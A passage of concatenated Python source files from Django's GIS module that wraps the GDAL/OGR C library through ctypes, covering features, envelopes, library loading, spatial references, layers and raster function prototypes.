
    def __init__(self, feat, layer):
        """
        Initializes Feature from a pointer and its Layer object.
        """
        if not feat:
            raise GDALException('Cannot create OGR Feature, invalid pointer given.')
        self.ptr = feat
        self._layer = layer

    def __del__(self):
        "Releases a reference to this object."
        try:
            capi.destroy_feature(self._ptr)
        except (AttributeError, TypeError):
            pass  # Some part might already have been garbage collected

    def __getitem__(self, index):
        """
        Gets the Field object at the specified index, which may be either
        an integer or the Field's string label.  Note that the Field object
        is not the field's _value_ -- use the `get` method instead to
        retrieve the value (e.g. an integer) instead of a Field instance.
        """
        if isinstance(index, six.string_types):
            i = self.index(index)
        else:
            if index < 0 or index > self.num_fields:
                raise OGRIndexError('index out of range')
            i = index
        return Field(self, i)

    def __iter__(self):
        "Iterates over each field in the Feature."
        for i in range(self.num_fields):
            yield self[i]

    def __len__(self):
        "Returns the count of fields in this feature."
        return self.num_fields

    def __str__(self):
        "The string name of the feature."
        return 'Feature FID %d in Layer<%s>' % (self.fid, self.layer_name)

    def __eq__(self, other):
        "Does equivalence testing on the features."
        return bool(capi.feature_equal(self.ptr, other._ptr))

    # #### Feature Properties ####
    @property
    def encoding(self):
        return self._layer._ds.encoding

    @property
    def fid(self):
        "Returns the feature identifier."
        return capi.get_fid(self.ptr)

    @property
    def layer_name(self):
        "Returns the name of the layer for the feature."
        name = capi.get_feat_name(self._layer._ldefn)
        return force_text(name, self.encoding, strings_only=True)

    @property
    def num_fields(self):
        "Returns the number of fields in the Feature."
        return capi.get_feat_field_count(self.ptr)

    @property
    def fields(self):
        "Returns a list of fields in the Feature."
        return [capi.get_field_name(capi.get_field_defn(self._layer._ldefn, i))
                for i in range(self.num_fields)]

    @property
    def geom(self):
        "Returns the OGR Geometry for this Feature."
        # Retrieving the geometry pointer for the feature.
        geom_ptr = capi.get_feat_geom_ref(self.ptr)
        return OGRGeometry(geom_api.clone_geom(geom_ptr))

    @property
    def geom_type(self):
        "Returns the OGR Geometry Type for this Feture."
        return OGRGeomType(capi.get_fd_geom_type(self._layer._ldefn))

    # #### Feature Methods ####
    def get(self, field):
        """
        Returns the value of the field, instead of an instance of the Field
        object.  May take a string of the field name or a Field object as
        parameters.
        """
        field_name = getattr(field, 'name', field)
        return self[field_name].value

    def index(self, field_name):
        "Returns the index of the given field name."
        i = capi.get_field_index(self.ptr, force_bytes(field_name))
        if i < 0:
            raise OGRIndexError('invalid OFT field name given: "%s"' % field_name)
        return i






"""
 This module houses ctypes interfaces for GDAL objects.  The following GDAL
 objects are supported:

 CoordTransform: Used for coordinate transformations from one spatial
  reference system to another.

 Driver: Wraps an OGR data source driver.

 DataSource: Wrapper for the OGR data source object, supports
  OGR-supported data sources.

 Envelope: A ctypes structure for bounding boxes (GDAL library
  not required).

 OGRGeometry: Object for accessing OGR Geometry functionality.

 OGRGeomType: A class for representing the different OGR Geometry
  types (GDAL library not required).

 SpatialReference: Represents OSR Spatial Reference objects.

 The GDAL library will be imported from the system path using the default
 library name for the current OS. The default library path may be overridden
 by setting `GDAL_LIBRARY_PATH` in your settings with the path to the GDAL C
 library on your system.
"""
from django.contrib.gis.gdal.envelope import Envelope
from django.contrib.gis.gdal.error import (  # NOQA
    GDALException, OGRException, OGRIndexError, SRSException, check_err,
)
from django.contrib.gis.gdal.geomtype import OGRGeomType  # NOQA

__all__ = [
    'check_err', 'Envelope', 'GDALException', 'OGRException', 'OGRIndexError',
    'SRSException', 'OGRGeomType', 'HAS_GDAL',
]

# Attempting to import objects that depend on the GDAL library.  The
# HAS_GDAL flag will be set to True if the library is present on
# the system.
try:
    from django.contrib.gis.gdal.driver import Driver  # NOQA
    from django.contrib.gis.gdal.datasource import DataSource  # NOQA
    from django.contrib.gis.gdal.libgdal import gdal_version, gdal_full_version, GDAL_VERSION  # NOQA
    from django.contrib.gis.gdal.raster.source import GDALRaster  # NOQA
    from django.contrib.gis.gdal.srs import SpatialReference, CoordTransform  # NOQA
    from django.contrib.gis.gdal.geometries import OGRGeometry  # NOQA
    HAS_GDAL = True
    __all__ += [
        'Driver', 'DataSource', 'gdal_version', 'gdal_full_version',
        'GDALRaster', 'GDAL_VERSION', 'SpatialReference', 'CoordTransform',
        'OGRGeometry',
    ]
except GDALException:
    HAS_GDAL = False






"""
 The GDAL/OGR library uses an Envelope structure to hold the bounding
 box information for a geometry.  The envelope (bounding box) contains
 two pairs of coordinates, one for the lower left coordinate and one
 for the upper right coordinate:

                           +----------o Upper right; (max_x, max_y)
                           |          |
                           |          |
                           |          |
 Lower left (min_x, min_y) o----------+
"""
from ctypes import Structure, c_double

from django.contrib.gis.gdal.error import GDALException


# The OGR definition of an Envelope is a C structure containing four doubles.
#  See the 'ogr_core.h' source file for more information:
#   http://www.gdal.org/ogr__core_8h_source.html
class OGREnvelope(Structure):
    "Represents the OGREnvelope C Structure."
    _fields_ = [("MinX", c_double),
                ("MaxX", c_double),
                ("MinY", c_double),
                ("MaxY", c_double),
                ]


class Envelope(object):
    """
    The Envelope object is a C structure that contains the minimum and
    maximum X, Y coordinates for a rectangle bounding box.  The naming
    of the variables is compatible with the OGR Envelope structure.
    """

    def __init__(self, *args):
        """
        The initialization function may take an OGREnvelope structure, 4-element
        tuple or list, or 4 individual arguments.
        """

        if len(args) == 1:
            if isinstance(args[0], OGREnvelope):
                # OGREnvelope (a ctypes Structure) was passed in.
                self._envelope = args[0]
            elif isinstance(args[0], (tuple, list)):
                # A tuple was passed in.
                if len(args[0]) != 4:
                    raise GDALException('Incorrect number of tuple elements (%d).' % len(args[0]))
                else:
                    self._from_sequence(args[0])
            else:
                raise TypeError('Incorrect type of argument: %s' % str(type(args[0])))
        elif len(args) == 4:
            # Individual parameters passed in.
            #  Thanks to ww for the help
            self._from_sequence([float(a) for a in args])
        else:
            raise GDALException('Incorrect number (%d) of arguments.' % len(args))

        # Checking the x,y coordinates
        if self.min_x > self.max_x:
            raise GDALException('Envelope minimum X > maximum X.')
        if self.min_y > self.max_y:
            raise GDALException('Envelope minimum Y > maximum Y.')

    def __eq__(self, other):
        """
        Returns True if the envelopes are equivalent; can compare against
        other Envelopes and 4-tuples.
        """
        if isinstance(other, Envelope):
            return (self.min_x == other.min_x) and (self.min_y == other.min_y) and \
                   (self.max_x == other.max_x) and (self.max_y == other.max_y)
        elif isinstance(other, tuple) and len(other) == 4:
            return (self.min_x == other[0]) and (self.min_y == other[1]) and \
                   (self.max_x == other[2]) and (self.max_y == other[3])
        else:
            raise GDALException('Equivalence testing only works with other Envelopes.')

    def __str__(self):
        "Returns a string representation of the tuple."
        return str(self.tuple)

    def _from_sequence(self, seq):
        "Initializes the C OGR Envelope structure from the given sequence."
        self._envelope = OGREnvelope()
        self._envelope.MinX = seq[0]
        self._envelope.MinY = seq[1]
        self._envelope.MaxX = seq[2]
        self._envelope.MaxY = seq[3]

    def expand_to_include(self, *args):
        """
        Modifies the envelope to expand to include the boundaries of
        the passed-in 2-tuple (a point), 4-tuple (an extent) or
        envelope.
        """
        # We provide a number of different signatures for this method,
        # and the logic here is all about converting them into a
        # 4-tuple single parameter which does the actual work of
        # expanding the envelope.
        if len(args) == 1:
            if isinstance(args[0], Envelope):
                return self.expand_to_include(args[0].tuple)
            elif hasattr(args[0], 'x') and hasattr(args[0], 'y'):
                return self.expand_to_include(args[0].x, args[0].y, args[0].x, args[0].y)
            elif isinstance(args[0], (tuple, list)):
                # A tuple was passed in.
                if len(args[0]) == 2:
                    return self.expand_to_include((args[0][0], args[0][1], args[0][0], args[0][1]))
                elif len(args[0]) == 4:
                    (minx, miny, maxx, maxy) = args[0]
                    if minx < self._envelope.MinX:
                        self._envelope.MinX = minx
                    if miny < self._envelope.MinY:
                        self._envelope.MinY = miny
                    if maxx > self._envelope.MaxX:
                        self._envelope.MaxX = maxx
                    if maxy > self._envelope.MaxY:
                        self._envelope.MaxY = maxy
                else:
                    raise GDALException('Incorrect number of tuple elements (%d).' % len(args[0]))
            else:
                raise TypeError('Incorrect type of argument: %s' % str(type(args[0])))
        elif len(args) == 2:
            # An x and an y parameter were passed in
                return self.expand_to_include((args[0], args[1], args[0], args[1]))
        elif len(args) == 4:
            # Individual parameters passed in.
            return self.expand_to_include(args)
        else:
            raise GDALException('Incorrect number (%d) of arguments.' % len(args[0]))

    @property
    def min_x(self):
        "Returns the value of the minimum X coordinate."
        return self._envelope.MinX

    @property
    def min_y(self):
        "Returns the value of the minimum Y coordinate."
        return self._envelope.MinY

    @property
    def max_x(self):
        "Returns the value of the maximum X coordinate."
        return self._envelope.MaxX

    @property
    def max_y(self):
        "Returns the value of the maximum Y coordinate."
        return self._envelope.MaxY

    @property
    def ur(self):
        "Returns the upper-right coordinate."
        return (self.max_x, self.max_y)

    @property
    def ll(self):
        "Returns the lower-left coordinate."
        return (self.min_x, self.min_y)

    @property
    def tuple(self):
        "Returns a tuple representing the envelope."
        return (self.min_x, self.min_y, self.max_x, self.max_y)

    @property
    def wkt(self):
        "Returns WKT representing a Polygon for this envelope."
        # TODO: Fix significant figures.
        return 'POLYGON((%s %s,%s %s,%s %s,%s %s,%s %s))' % \
               (self.min_x, self.min_y, self.min_x, self.max_y,
                self.max_x, self.max_y, self.max_x, self.min_y,
                self.min_x, self.min_y)






from __future__ import unicode_literals

import logging
import os
import re
from ctypes import CDLL, CFUNCTYPE, c_char_p, c_int
from ctypes.util import find_library

from django.contrib.gis.gdal.error import GDALException
from django.core.exceptions import ImproperlyConfigured

logger = logging.getLogger('django.contrib.gis')

# Custom library path set?
try:
    from django.conf import settings
    lib_path = settings.GDAL_LIBRARY_PATH
except (AttributeError, EnvironmentError,
        ImportError, ImproperlyConfigured):
    lib_path = None

if lib_path:
    lib_names = None
elif os.name == 'nt':
    # Windows NT shared libraries
    lib_names = ['gdal111', 'gdal110', 'gdal19', 'gdal18', 'gdal17']
elif os.name == 'posix':
    # *NIX library names.
    lib_names = ['gdal', 'GDAL', 'gdal1.11.0', 'gdal1.10.0', 'gdal1.9.0', 'gdal1.8.0', 'gdal1.7.0']
else:
    raise GDALException('Unsupported OS "%s"' % os.name)

# Using the ctypes `find_library` utility  to find the
# path to the GDAL library from the list of library names.
if lib_names:
    for lib_name in lib_names:
        lib_path = find_library(lib_name)
        if lib_path is not None:
            break

if lib_path is None:
    raise GDALException(
        'Could not find the GDAL library (tried "%s"). Try setting '
        'GDAL_LIBRARY_PATH in your settings.' % '", "'.join(lib_names)
    )

# This loads the GDAL/OGR C library
lgdal = CDLL(lib_path)

# On Windows, the GDAL binaries have some OSR routines exported with
# STDCALL, while others are not.  Thus, the library will also need to
# be loaded up as WinDLL for said OSR functions that require the
# different calling convention.
if os.name == 'nt':
    from ctypes import WinDLL
    lwingdal = WinDLL(lib_path)


def std_call(func):
    """
    Returns the correct STDCALL function for certain OSR routines on Win32
    platforms.
    """
    if os.name == 'nt':
        return lwingdal[func]
    else:
        return lgdal[func]

# #### Version-information functions. ####

# Returns GDAL library version information with the given key.
_version_info = std_call('GDALVersionInfo')
_version_info.argtypes = [c_char_p]
_version_info.restype = c_char_p


def gdal_version():
    "Returns only the GDAL version number information."
    return _version_info(b'RELEASE_NAME')


def gdal_full_version():
    "Returns the full GDAL version information."
    return _version_info('')

version_regex = re.compile(r'^(?P<major>\d+)\.(?P<minor>\d+)(\.(?P<subminor>\d+))?')


def gdal_version_info():
    ver = gdal_version().decode()
    m = version_regex.match(ver)
    if not m:
        raise GDALException('Could not parse GDAL version string "%s"' % ver)
    return {key: m.group(key) for key in ('major', 'minor', 'subminor')}

_verinfo = gdal_version_info()
GDAL_MAJOR_VERSION = int(_verinfo['major'])
GDAL_MINOR_VERSION = int(_verinfo['minor'])
GDAL_SUBMINOR_VERSION = _verinfo['subminor'] and int(_verinfo['subminor'])
GDAL_VERSION = (GDAL_MAJOR_VERSION, GDAL_MINOR_VERSION, GDAL_SUBMINOR_VERSION)
del _verinfo

# Set library error handling so as errors are logged
CPLErrorHandler = CFUNCTYPE(None, c_int, c_int, c_char_p)


def err_handler(error_class, error_number, message):
    logger.error('GDAL_ERROR %d: %s', error_number, message)
err_handler = CPLErrorHandler(err_handler)


def function(name, args, restype):
    func = std_call(name)
    func.argtypes = args
    func.restype = restype
    return func

set_error_handler = function('CPLSetErrorHandler', [CPLErrorHandler], CPLErrorHandler)
set_error_handler(err_handler)






"""
  The Spatial Reference class, represents OGR Spatial Reference objects.

  Example:
  >>> from django.contrib.gis.gdal import SpatialReference
  >>> srs = SpatialReference('WGS84')
  >>> print(srs)
  GEOGCS["WGS 84",
      DATUM["WGS_1984",
          SPHEROID["WGS 84",6378137,298.257223563,
              AUTHORITY["EPSG","7030"]],
          TOWGS84[0,0,0,0,0,0,0],
          AUTHORITY["EPSG","6326"]],
      PRIMEM["Greenwich",0,
          AUTHORITY["EPSG","8901"]],
      UNIT["degree",0.01745329251994328,
          AUTHORITY["EPSG","9122"]],
      AUTHORITY["EPSG","4326"]]
  >>> print(srs.proj)
  +proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs
  >>> print(srs.ellipsoid)
  (6378137.0, 6356752.3142451793, 298.25722356300003)
  >>> print(srs.projected, srs.geographic)
  False True
  >>> srs.import_epsg(32140)
  >>> print(srs.name)
  NAD83 / Texas South Central
"""
from ctypes import byref, c_char_p, c_int

from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.error import SRSException
from django.contrib.gis.gdal.prototypes import srs as capi
from django.utils import six
from django.utils.encoding import force_bytes, force_text


class SpatialReference(GDALBase):
    """
    A wrapper for the OGRSpatialReference object.  According to the GDAL Web site,
    the SpatialReference object "provide[s] services to represent coordinate
    systems (projections and datums) and to transform between them."
    """

    def __init__(self, srs_input='', srs_type='user'):
        """
        Creates a GDAL OSR Spatial Reference object from the given input.
        The input may be string of OGC Well Known Text (WKT), an integer
        EPSG code, a PROJ.4 string, and/or a projection "well known" shorthand
        string (one of 'WGS84', 'WGS72', 'NAD27', 'NAD83').
        """

        if srs_type == 'wkt':
            self.ptr = capi.new_srs(c_char_p(b''))
            self.import_wkt(srs_input)
            return
        elif isinstance(srs_input, six.string_types):
            try:
                # If SRID is a string, e.g., '4326', then make acceptable
                # as user input.
                srid = int(srs_input)
                srs_input = 'EPSG:%d' % srid
            except ValueError:
                pass
        elif isinstance(srs_input, six.integer_types):
            # EPSG integer code was input.
            srs_type = 'epsg'
        elif isinstance(srs_input, self.ptr_type):
            srs = srs_input
            srs_type = 'ogr'
        else:
            raise TypeError('Invalid SRS type "%s"' % srs_type)

        if srs_type == 'ogr':
            # Input is already an SRS pointer.
            srs = srs_input
        else:
            # Creating a new SRS pointer, using the string buffer.
            buf = c_char_p(b'')
            srs = capi.new_srs(buf)

        # If the pointer is NULL, throw an exception.
        if not srs:
            raise SRSException('Could not create spatial reference from: %s' % srs_input)
        else:
            self.ptr = srs

        # Importing from either the user input string or an integer SRID.
        if srs_type == 'user':
            self.import_user_input(srs_input)
        elif srs_type == 'epsg':
            self.import_epsg(srs_input)

    def __del__(self):
        "Destroys this spatial reference."
        try:
            capi.release_srs(self._ptr)
        except (AttributeError, TypeError):
            pass  # Some part might already have been garbage collected

    def __getitem__(self, target):
        """
        Returns the value of the given string attribute node, None if the node
        doesn't exist.  Can also take a tuple as a parameter, (target, child),
        where child is the index of the attribute in the WKT.  For example:

        >>> wkt = 'GEOGCS["WGS 84", DATUM["WGS_1984, ... AUTHORITY["EPSG","4326"]]'
        >>> srs = SpatialReference(wkt) # could also use 'WGS84', or 4326
        >>> print(srs['GEOGCS'])
        WGS 84
        >>> print(srs['DATUM'])
        WGS_1984
        >>> print(srs['AUTHORITY'])
        EPSG
        >>> print(srs['AUTHORITY', 1]) # The authority value
        4326
        >>> print(srs['TOWGS84', 4]) # the fourth value in this wkt
        0
        >>> print(srs['UNIT|AUTHORITY']) # For the units authority, have to use the pipe symbole.
        EPSG
        >>> print(srs['UNIT|AUTHORITY', 1]) # The authority value for the units
        9122
        """
        if isinstance(target, tuple):
            return self.attr_value(*target)
        else:
            return self.attr_value(target)

    def __str__(self):
        "The string representation uses 'pretty' WKT."
        return self.pretty_wkt

    # #### SpatialReference Methods ####
    def attr_value(self, target, index=0):
        """
        The attribute value for the given target node (e.g. 'PROJCS'). The index
        keyword specifies an index of the child node to return.
        """
        if not isinstance(target, six.string_types) or not isinstance(index, int):
            raise TypeError
        return capi.get_attr_value(self.ptr, force_bytes(target), index)

    def auth_name(self, target):
        "Returns the authority name for the given string target node."
        return capi.get_auth_name(self.ptr, force_bytes(target))

    def auth_code(self, target):
        "Returns the authority code for the given string target node."
        return capi.get_auth_code(self.ptr, force_bytes(target))

    def clone(self):
        "Returns a clone of this SpatialReference object."
        return SpatialReference(capi.clone_srs(self.ptr))

    def from_esri(self):
        "Morphs this SpatialReference from ESRI's format to EPSG."
        capi.morph_from_esri(self.ptr)

    def identify_epsg(self):
        """
        This method inspects the WKT of this SpatialReference, and will
        add EPSG authority nodes where an EPSG identifier is applicable.
        """
        capi.identify_epsg(self.ptr)

    def to_esri(self):
        "Morphs this SpatialReference to ESRI's format."
        capi.morph_to_esri(self.ptr)

    def validate(self):
        "Checks to see if the given spatial reference is valid."
        capi.srs_validate(self.ptr)

    # #### Name & SRID properties ####
    @property
    def name(self):
        "Returns the name of this Spatial Reference."
        if self.projected:
            return self.attr_value('PROJCS')
        elif self.geographic:
            return self.attr_value('GEOGCS')
        elif self.local:
            return self.attr_value('LOCAL_CS')
        else:
            return None

    @property
    def srid(self):
        "Returns the SRID of top-level authority, or None if undefined."
        try:
            return int(self.attr_value('AUTHORITY', 1))
        except (TypeError, ValueError):
            return None

    # #### Unit Properties ####
    @property
    def linear_name(self):
        "Returns the name of the linear units."
        units, name = capi.linear_units(self.ptr, byref(c_char_p()))
        return name

    @property
    def linear_units(self):
        "Returns the value of the linear units."
        units, name = capi.linear_units(self.ptr, byref(c_char_p()))
        return units

    @property
    def angular_name(self):
        "Returns the name of the angular units."
        units, name = capi.angular_units(self.ptr, byref(c_char_p()))
        return name

    @property
    def angular_units(self):
        "Returns the value of the angular units."
        units, name = capi.angular_units(self.ptr, byref(c_char_p()))
        return units

    @property
    def units(self):
        """
        Returns a 2-tuple of the units value and the units name,
        and will automatically determines whether to return the linear
        or angular units.
        """
        units, name = None, None
        if self.projected or self.local:
            units, name = capi.linear_units(self.ptr, byref(c_char_p()))
        elif self.geographic:
            units, name = capi.angular_units(self.ptr, byref(c_char_p()))
        if name is not None:
            name = force_text(name)
        return (units, name)

    # #### Spheroid/Ellipsoid Properties ####
    @property
    def ellipsoid(self):
        """
        Returns a tuple of the ellipsoid parameters:
         (semimajor axis, semiminor axis, and inverse flattening)
        """
        return (self.semi_major, self.semi_minor, self.inverse_flattening)

    @property
    def semi_major(self):
        "Returns the Semi Major Axis for this Spatial Reference."
        return capi.semi_major(self.ptr, byref(c_int()))

    @property
    def semi_minor(self):
        "Returns the Semi Minor Axis for this Spatial Reference."
        return capi.semi_minor(self.ptr, byref(c_int()))

    @property
    def inverse_flattening(self):
        "Returns the Inverse Flattening for this Spatial Reference."
        return capi.invflattening(self.ptr, byref(c_int()))

    # #### Boolean Properties ####
    @property
    def geographic(self):
        """
        Returns True if this SpatialReference is geographic
         (root node is GEOGCS).
        """
        return bool(capi.isgeographic(self.ptr))

    @property
    def local(self):
        "Returns True if this SpatialReference is local (root node is LOCAL_CS)."
        return bool(capi.islocal(self.ptr))

    @property
    def projected(self):
        """
        Returns True if this SpatialReference is a projected coordinate system
         (root node is PROJCS).
        """
        return bool(capi.isprojected(self.ptr))

    # #### Import Routines #####
    def import_epsg(self, epsg):
        "Imports the Spatial Reference from the EPSG code (an integer)."
        capi.from_epsg(self.ptr, epsg)

    def import_proj(self, proj):
        "Imports the Spatial Reference from a PROJ.4 string."
        capi.from_proj(self.ptr, proj)

    def import_user_input(self, user_input):
        "Imports the Spatial Reference from the given user input string."
        capi.from_user_input(self.ptr, force_bytes(user_input))

    def import_wkt(self, wkt):
        "Imports the Spatial Reference from OGC WKT (string)"
        capi.from_wkt(self.ptr, byref(c_char_p(force_bytes(wkt))))

    def import_xml(self, xml):
        "Imports the Spatial Reference from an XML string."
        capi.from_xml(self.ptr, xml)

    # #### Export Properties ####
    @property
    def wkt(self):
        "Returns the WKT representation of this Spatial Reference."
        return capi.to_wkt(self.ptr, byref(c_char_p()))

    @property
    def pretty_wkt(self, simplify=0):
        "Returns the 'pretty' representation of the WKT."
        return capi.to_pretty_wkt(self.ptr, byref(c_char_p()), simplify)

    @property
    def proj(self):
        "Returns the PROJ.4 representation for this Spatial Reference."
        return capi.to_proj(self.ptr, byref(c_char_p()))

    @property
    def proj4(self):
        "Alias for proj()."
        return self.proj

    @property
    def xml(self, dialect=''):
        "Returns the XML representation of this Spatial Reference."
        return capi.to_xml(self.ptr, byref(c_char_p()), force_bytes(dialect))


class CoordTransform(GDALBase):
    "The coordinate system transformation object."

    def __init__(self, source, target):
        "Initializes on a source and target SpatialReference objects."
        if not isinstance(source, SpatialReference) or not isinstance(target, SpatialReference):
            raise TypeError('source and target must be of type SpatialReference')
        self.ptr = capi.new_ct(source._ptr, target._ptr)
        self._srs1_name = source.name
        self._srs2_name = target.name

    def __del__(self):
        "Deletes this Coordinate Transformation object."
        try:
            capi.destroy_ct(self._ptr)
        except (AttributeError, TypeError):
            pass

    def __str__(self):
        return 'Transform from "%s" to "%s"' % (self._srs1_name, self._srs2_name)






from ctypes import byref, c_double

from django.contrib.gis.gdal.base import GDALBase
from django.contrib.gis.gdal.envelope import Envelope, OGREnvelope
from django.contrib.gis.gdal.error import (
    GDALException, OGRIndexError, SRSException,
)
from django.contrib.gis.gdal.feature import Feature
from django.contrib.gis.gdal.field import OGRFieldTypes
from django.contrib.gis.gdal.geometries import OGRGeometry
from django.contrib.gis.gdal.geomtype import OGRGeomType
from django.contrib.gis.gdal.prototypes import (
    ds as capi, geom as geom_api, srs as srs_api,
)
from django.contrib.gis.gdal.srs import SpatialReference
from django.utils import six
from django.utils.encoding import force_bytes, force_text
from django.utils.six.moves import range


# For more information, see the OGR C API source code:
#  http://www.gdal.org/ogr__api_8h.html
#
# The OGR_L_* routines are relevant here.
class Layer(GDALBase):
    "A class that wraps an OGR Layer, needs to be instantiated from a DataSource object."

    def __init__(self, layer_ptr, ds):
        """
        Initializes on an OGR C pointer to the Layer and the `DataSource` object
        that owns this layer.  The `DataSource` object is required so that a
        reference to it is kept with this Layer.  This prevents garbage
        collection of the `DataSource` while this Layer is still active.
        """
        if not layer_ptr:
            raise GDALException('Cannot create Layer, invalid pointer given')
        self.ptr = layer_ptr
        self._ds = ds
        self._ldefn = capi.get_layer_defn(self._ptr)
        # Does the Layer support random reading?
        self._random_read = self.test_capability(b'RandomRead')

    def __getitem__(self, index):
        "Gets the Feature at the specified index."
        if isinstance(index, six.integer_types):
            # An integer index was given -- we cannot do a check based on the
            # number of features because the beginning and ending feature IDs
            # are not guaranteed to be 0 and len(layer)-1, respectively.
            if index < 0:
                raise OGRIndexError('Negative indices are not allowed on OGR Layers.')
            return self._make_feature(index)
        elif isinstance(index, slice):
            # A slice was given
            start, stop, stride = index.indices(self.num_feat)
            return [self._make_feature(fid) for fid in range(start, stop, stride)]
        else:
            raise TypeError('Integers and slices may only be used when indexing OGR Layers.')

    def __iter__(self):
        "Iterates over each Feature in the Layer."
        # ResetReading() must be called before iteration is to begin.
        capi.reset_reading(self._ptr)
        for i in range(self.num_feat):
            yield Feature(capi.get_next_feature(self._ptr), self)

    def __len__(self):
        "The length is the number of features."
        return self.num_feat

    def __str__(self):
        "The string name of the layer."
        return self.name

    def _make_feature(self, feat_id):
        """
        Helper routine for __getitem__ that constructs a Feature from the given
        Feature ID.  If the OGR Layer does not support random-access reading,
        then each feature of the layer will be incremented through until the
        a Feature is found matching the given feature ID.
        """
        if self._random_read:
            # If the Layer supports random reading, return.
            try:
                return Feature(capi.get_feature(self.ptr, feat_id), self)
            except GDALException:
                pass
        else:
            # Random access isn't supported, have to increment through
            # each feature until the given feature ID is encountered.
            for feat in self:
                if feat.fid == feat_id:
                    return feat
        # Should have returned a Feature, raise an OGRIndexError.
        raise OGRIndexError('Invalid feature id: %s.' % feat_id)

    # #### Layer properties ####
    @property
    def extent(self):
        "Returns the extent (an Envelope) of this layer."
        env = OGREnvelope()
        capi.get_extent(self.ptr, byref(env), 1)
        return Envelope(env)

    @property
    def name(self):
        "Returns the name of this layer in the Data Source."
        name = capi.get_fd_name(self._ldefn)
        return force_text(name, self._ds.encoding, strings_only=True)

    @property
    def num_feat(self, force=1):
        "Returns the number of features in the Layer."
        return capi.get_feature_count(self.ptr, force)

    @property
    def num_fields(self):
        "Returns the number of fields in the Layer."
        return capi.get_field_count(self._ldefn)

    @property
    def geom_type(self):
        "Returns the geometry type (OGRGeomType) of the Layer."
        return OGRGeomType(capi.get_fd_geom_type(self._ldefn))

    @property
    def srs(self):
        "Returns the Spatial Reference used in this Layer."
        try:
            ptr = capi.get_layer_srs(self.ptr)
            return SpatialReference(srs_api.clone_srs(ptr))
        except SRSException:
            return None

    @property
    def fields(self):
        """
        Returns a list of string names corresponding to each of the Fields
        available in this Layer.
        """
        return [force_text(capi.get_field_name(capi.get_field_defn(self._ldefn, i)),
                           self._ds.encoding, strings_only=True)
                for i in range(self.num_fields)]

    @property
    def field_types(self):
        """
        Returns a list of the types of fields in this Layer.  For example,
        the list [OFTInteger, OFTReal, OFTString] would be returned for
        an OGR layer that had an integer, a floating-point, and string
        fields.
        """
        return [OGRFieldTypes[capi.get_field_type(capi.get_field_defn(self._ldefn, i))]
                for i in range(self.num_fields)]

    @property
    def field_widths(self):
        "Returns a list of the maximum field widths for the features."
        return [capi.get_field_width(capi.get_field_defn(self._ldefn, i))
                for i in range(self.num_fields)]

    @property
    def field_precisions(self):
        "Returns the field precisions for the features."
        return [capi.get_field_precision(capi.get_field_defn(self._ldefn, i))
                for i in range(self.num_fields)]

    def _get_spatial_filter(self):
        try:
            return OGRGeometry(geom_api.clone_geom(capi.get_spatial_filter(self.ptr)))
        except GDALException:
            return None

    def _set_spatial_filter(self, filter):
        if isinstance(filter, OGRGeometry):
            capi.set_spatial_filter(self.ptr, filter.ptr)
        elif isinstance(filter, (tuple, list)):
            if not len(filter) == 4:
                raise ValueError('Spatial filter list/tuple must have 4 elements.')
            # Map c_double onto params -- if a bad type is passed in it
            # will be caught here.
            xmin, ymin, xmax, ymax = map(c_double, filter)
            capi.set_spatial_filter_rect(self.ptr, xmin, ymin, xmax, ymax)
        elif filter is None:
            capi.set_spatial_filter(self.ptr, None)
        else:
            raise TypeError('Spatial filter must be either an OGRGeometry instance, a 4-tuple, or None.')

    spatial_filter = property(_get_spatial_filter, _set_spatial_filter)

    # #### Layer Methods ####
    def get_fields(self, field_name):
        """
        Returns a list containing the given field name for every Feature
        in the Layer.
        """
        if field_name not in self.fields:
            raise GDALException('invalid field name: %s' % field_name)
        return [feat.get(field_name) for feat in self]

    def get_geoms(self, geos=False):
        """
        Returns a list containing the OGRGeometry for every Feature in
        the Layer.
        """
        if geos:
            from django.contrib.gis.geos import GEOSGeometry
            return [GEOSGeometry(feat.geom.wkb) for feat in self]
        else:
            return [feat.geom for feat in self]

    def test_capability(self, capability):
        """
        Returns a bool indicating whether the this Layer supports the given
        capability (a string).  Valid capability strings include:
          'RandomRead', 'SequentialWrite', 'RandomWrite', 'FastSpatialFilter',
          'FastFeatureCount', 'FastGetExtent', 'CreateField', 'Transactions',
          'DeleteFeature', and 'FastSetNextByIndex'.
        """
        return bool(capi.test_capability(self.ptr, force_bytes(capability)))






"""
This module houses the ctypes function prototypes for GDAL DataSource (raster)
related data structures.
"""
from ctypes import POINTER, c_char_p, c_double, c_int, c_void_p
from functools import partial

from django.contrib.gis.gdal.libgdal import GDAL_VERSION, std_call
from django.contrib.gis.gdal.prototypes.generation import (
    const_string_output, double_output, int_output, void_output,
    voidptr_output,
)

# For more detail about c function names and definitions see
# http://gdal.org/gdal_8h.html
# http://gdal.org/gdalwarper_8h.html

# Prepare partial functions that use cpl error codes
void_output = partial(void_output, cpl=True)
const_string_output = partial(const_string_output, cpl=True)
double_output = partial(double_output, cpl=True)

# Raster Driver Routines
register_all = void_output(std_call('GDALAllRegister'), [])
get_driver = voidptr_output(std_call('GDALGetDriver'), [c_int])
get_driver_by_name = voidptr_output(std_call('GDALGetDriverByName'), [c_char_p], errcheck=False)
get_driver_count = int_output(std_call('GDALGetDriverCount'), [])
get_driver_description = const_string_output(std_call('GDALGetDescription'), [c_void_p])

# Raster Data Source Routines
create_ds = voidptr_output(std_call('GDALCreate'), [c_void_p, c_char_p, c_int, c_int, c_int, c_int, c_void_p])
open_ds = voidptr_output(std_call('GDALOpen'), [c_char_p, c_int])
if GDAL_VERSION >= (2, 0):
    close_ds = voidptr_output(std_call('GDALClose'), [c_void_p])
else:
    close_ds = void_output(std_call('GDALClose'), [c_void_p])
flush_ds = int_output(std_call('GDALFlushCache'), [c_void_p])
copy_ds = voidptr_output(
    std_call('GDALCreateCopy'),
    [c_void_p, c_char_p, c_void_p, c_int, POINTER(c_char_p), c_void_p, c_void_p]
)
add_band_ds = void_output(std_call('GDALAddBand'), [c_void_p, c_int])
get_ds_description = const_string_output(std_call('GDALGetDescription'), [c_void_p])
get_ds_driver = voidptr_output(std_call('GDALGetDatasetDriver'), [c_void_p])
get_ds_xsize = int_output(std_call('GDALGetRasterXSize'), [c_void_p])
get_ds_ysize = int_output(std_call('GDALGetRasterYSize'), [c_void_p])
get_ds_raster_count = int_output(std_call('GDALGetRasterCount'), [c_void_p])
get_ds_raster_band = voidptr_output(std_call('GDALGetRasterBand'), [c_void_p, c_int])
get_ds_projection_ref = const_string_output(std_call('GDALGetProjectionRef'), [c_void_p])
